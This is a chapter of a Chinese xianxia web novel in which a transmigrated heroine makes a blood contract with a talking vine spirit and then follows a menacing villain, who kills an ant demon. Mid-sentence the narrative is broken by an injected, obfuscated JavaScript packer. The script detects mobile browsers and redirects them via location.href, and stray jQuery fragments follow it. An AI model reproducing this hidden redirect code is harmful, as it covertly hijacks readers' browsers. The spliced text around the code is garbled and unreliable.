一直在身后打量她的断萤花见她一声不吭,不像以前意外掉下来的那些人哭爹喊娘的样子,觉得没什么乐趣,终于耐不住性子,从她身后探出个身子来。
可它不知道的是,虞想只是表面强装镇定,实际上她正在内心疯狂吐槽。
这操蛋的日子什么时候是个头啊?
她只是一个平平无奇的穿书人士,穿的还是炮灰女配,为什么要给她强加戏份?!!
既让她遇到大反派,现在还要被一条藤蔓小妖精给抓走、体验一遍“跳楼机”。
她这条小命,真的没有什么特殊之处,好好地留给她不好吗?!!
突然,一阵窸窸窣窣的声音,吸引了虞想的注意力,她往四周看去,只见一条绿色的藤蔓正朝着她这个方向这里游来。
这条绿色的藤蔓足有她手腕那样粗,枝干与其他藤蔓一样,有许多细小的绒毛,,只不过主干上的那些绒毛此刻都闭上了嘴巴,藏住里面锋利的牙齿。
它的尖端上顶着一朵粉红色的小花,花有五瓣,中间还有些嫩黄色的细蕊,看不出是什么品种。
“你为什么没哭也没有大喊大叫?”一道奶里奶气的声音疑惑地发问道。
虞想盯着这条小藤蔓上上下下打量了它三次,才敢确定,的确是这条小藤蔓发出的声音。
“因为我天生不爱哭?也天生不爱叫?”虞想缓缓的开口,尾音带着几分迟疑。
“我不管!你就要哭的满脸都是泪,就要——咦,你好香诶!”藤蔓狠话还没有放完便先被另一件事吸引。
它发现这个人类好香,比它以前见过的人都香!
以前掉进洞里的那些人都是臭的,他们的灵魂里都藏着污秽恶臭的私欲,把整个人都弄的不好闻,也不好玩。
但她的灵魂非常纯净,让她整个人闻起来就很香,连同在她周边的灵力都变得十分香甜。
它们上古葛藤一族,只有依靠天地间纯净的灵气才可以长大,生长可谓是极其缓慢,要是能和她在一起,它就能吸收更多的天地灵气,快快长大,拥有粗壮的身体。
断萤兴奋地摆弄着枝条,将整个尖端也就是它的脑袋凑到虞想面前,兴冲冲问道:“香香的人类,你愿意每天都跟我玩吗?”
虞想被它这奇怪的发问弄的发懵,这是什么意思?
为什么要在跟它玩之前加上一个香香的人类?
这难道是它们植物界特殊的礼仪?可它一开始也没见的对她有多礼貌啊!
思虑再三她还是决定先拿回主动权,旁敲侧击的开口道:“你为什么要叫我香香的人类?”
“因为你的灵魂很香,身边的灵气很香甜,所以你是香香的人。”
藤蔓还是小孩子智商,单纯的很,别人问什么,它便全都一股脑儿的说出来,全然没有什么防备心理。
它能在这里活得这么长不被抓,只怕是依靠了这天然的地理优势还有自己灵活的身躯。
虞想听到它的话若有所思。
不一会儿,她笑盈盈的看向面前摇头晃脑的藤蔓,那小藤蔓还在等着她的回复。
她像是引诱小红帽的那只狼外婆,对着小藤蔓忽悠道:“你是想要我身边的灵力,才想让我陪着你玩?”
断萤点点头,对虞想的话表示认可。
虞想见状,果断再接再厉:“那我们做个交易好不好?”
断萤继续点头,示意她说下去。
“你知道的,我是一个人类,需要食物和水,是不可能会一直陪你呆在这个树洞的,那样我会饿死。”
“但是我可以带你去外面的世界,那里有繁华的城池、热闹的集市、还有各种各样的美食。”
“你想不想去看看?”
“想!”
虞想歪打正着,直击断萤的内心。要知道它对外面的世界可是向往很久了,但因为没有充足的灵气,它不能长大,一直不能离开这里。
断萤沮丧的同她解释:“可是我的根扎在这里,不能离开。”
“没关系,我有办法可以带你离开这里。”
“那要怎么做?”
虞想让它先把她放下来,断萤听话照做,待到安全落地后,她咬破自己的手指,将一滴鲜红的血液滴落在藤蔓上。
她抱着试试看的态度,口中念念有词地重复着一段繁杂的法术咒语。
霎时金光大盛,刺的她眼都有些睁不开,一个繁琐的符文笼罩着她跟断萤,直到金光散去,树洞内的绿叶悉数消失,她的手腕上凭空出现了个回环盘扣的木镯,一个平等契约这才完成。
虞想瘫坐在地上,松了一口气,幸亏她机警,从原主的记忆里找到这个签订契约的方法,否则她可真得一辈子困在这里了。
有了契约,虞想便可以直接在脑海中同这株小藤蔓沟通,但现在不是什么沟通的好时机,先让她歇歇再说。
待虞想体力恢复了七七八八后,她这才友好的向藤蔓问道:“你叫什么名字啊?”
小藤蔓在她识海中揪着自己的叶子,语气颇有些骄傲,“我叫断萤,断萤的断,断萤的萤。”
虞想也大大方方的同它介绍自己:“断萤你好呀,我叫虞想~”
就在两人友好交流的时候,树洞突然发生翻天覆地的摇晃,虞想竭力撑着墙壁,才能保证自己不被晃倒。
“这是怎么了?”她艰难的向脑海中的断萤询问道。
“是有人在强行破坏树洞的结界。”
断萤一说完,虞想脑袋里就自动浮现出一个人的身影——大反派雁亭序。
说时迟那时快,刚被她想到的某人,一个瞬移就出现在她的面前。
雁亭序看着面前的虞想。
发髻因为树洞剧烈晃动而变得散乱,脸上也擦上了几道棕褐色的泥土印,裙?更是皱皱巴巴的,可那双小鹿眼却是亮晶晶的,穿过空气中漂浮的尘埃,直直地看向他。
像是能看透人的内心。
雁亭序下意识别开眼,刺了一句:“没想到你还活着啊!”
虞想一听他这话就来气,可她不敢明面上骂他。
有先前的腾蛇老兄和狐狸老兄为例,她还不想惹这个变态,被咔吧一声扭断脖子。
“命大,命大而已!”虞想讪笑着,默默往后退两步,离他更远一点。
雁亭序盯着她往后退的动作,丹凤眼一眯,语气阴鸷,“腿不需要的话,我就帮你打断。”
一句话,就让虞想僵在原地,一动也不敢动。
这反派,还真是喜怒无常,心情比那天气预报还不准,一会儿晴天,一会儿打雷的。虞想在心底吐槽了一句,雁亭序已经转身走了一段距离,见她没动,开口就要刺她。
虞想回过神来,眼尖的发现他神色不快,看看两人之间的距离,她立刻跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301772|198664||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了上去。
雁亭序见她如此识相,一口讽刺的话卡在喉头不上不上,只能冷冷的哼气一声,吐出一句:“跟上!”
两人从树洞后面出去,七拐八拐地进了一条地道,那地道漆黑不已,伸手不见五指。
虞想又是普通人,没有夜视能力,还怕黑很。
先前她敢从长清宗小道下山,一是当晚的月亮很亮,可以大体看清四周,二是她怀里抱着盏长明灯,可以照路。
可现在,地道里什么也没有,一点光也不透,也没有多余的声响,像是要把人溺毙在这片黑暗中一样。
虞想心里发毛,不想被落在后面,快步上前,赶上前面的雁亭序。
比起被他嘲讽与恐吓,她还是更怕黑一点。
虞想从后面戳了戳雁亭序的腰身,颤颤巍巍道:“雁亭序,你说这里面应该没什么东西吧。”
雁亭序闻言,止住步子,挑眉一笑,他慢悠悠转过身来,刻意压低声线,吓唬她:“这也说不准,说不定现在你的身后就有一只小妖正嘴里流着涎水,眼冒绿光的看着你呢。”
一听此言,虞想的脸色刷的白了下去,她喉间发紧,带着哭腔问道:“真的吗?”
雁亭序是魔,天生能夜间视物,因此他没有错过虞想听到他的话后任何的小表情。
见她被吓得不轻,他这才大发慈悲的放过她,“骗你的。”
“真的?”
“爱信不信。”
他说完,又继续往前走去。
尽管雁亭序已经说过这条地道没有任何东西,但虞想还是害怕。
她小心翼翼地扯住雁亭序的衣角,默默跟着他前行。
雁亭序在她接近他的那一刻就已经察觉,却没有阻止她,任她扯住他的衣角,像是一条小尾巴一样,躲在他的身后。
毕竟现在她能依靠的,只有他,也只能是他。
雁亭序回头看了她一眼,没说话,唇角却不自觉地勾起,怎么压也压不下。
索性现在没人能看到,雁亭序也没管,就那样心情颇好的往前走着,一条地道很快就到了尽头。
虽然他心情不错,但总有不长眼的来挡道。
地道尽头,一只巨大的蚁妖正把通往地宫的入口挡得严严实实。
见到雁亭序他们二人,竟口吐人言发出音波攻击:“大胆,来者何人,竟敢擅闯地宫!”
“滚!”雁亭序再好的心情此时也被破坏的一干二净。
他这个人向来是不喜欢那些看不起他的,一般这样的,他当场就杀了。
这次也不例外。
雁亭序一挥袖,就消解了蚁妖的音波攻击,反手间,掌心魔气翻涌,他一步向前,飞身跃起,掌中的魔气被灌入蚁妖体内。
只听砰地一声,蚁妖竟然在原地爆体而亡。
黑色的碎肉洋洋洒洒自空中落下,像是下了一场黑雨,空气中传来难闻的腥气,大概是蚁妖身上气息。
虞想再一次惊骇于反派爆炸的杀伤力,她相信,要不是有男女主最后收服他,就凭他这实力,说不他还真能让原著中的地狱之门打开,将修真界搞得一团糟。
雁亭序并不知道虞想的想法。
他回身,找到在角落里抱头缩成一团的虞想,一把掐着她的腰,将人提了起来。
“瞧你那小胆儿样。”他嗤笑一声,竟就这样带着她往地宫走去。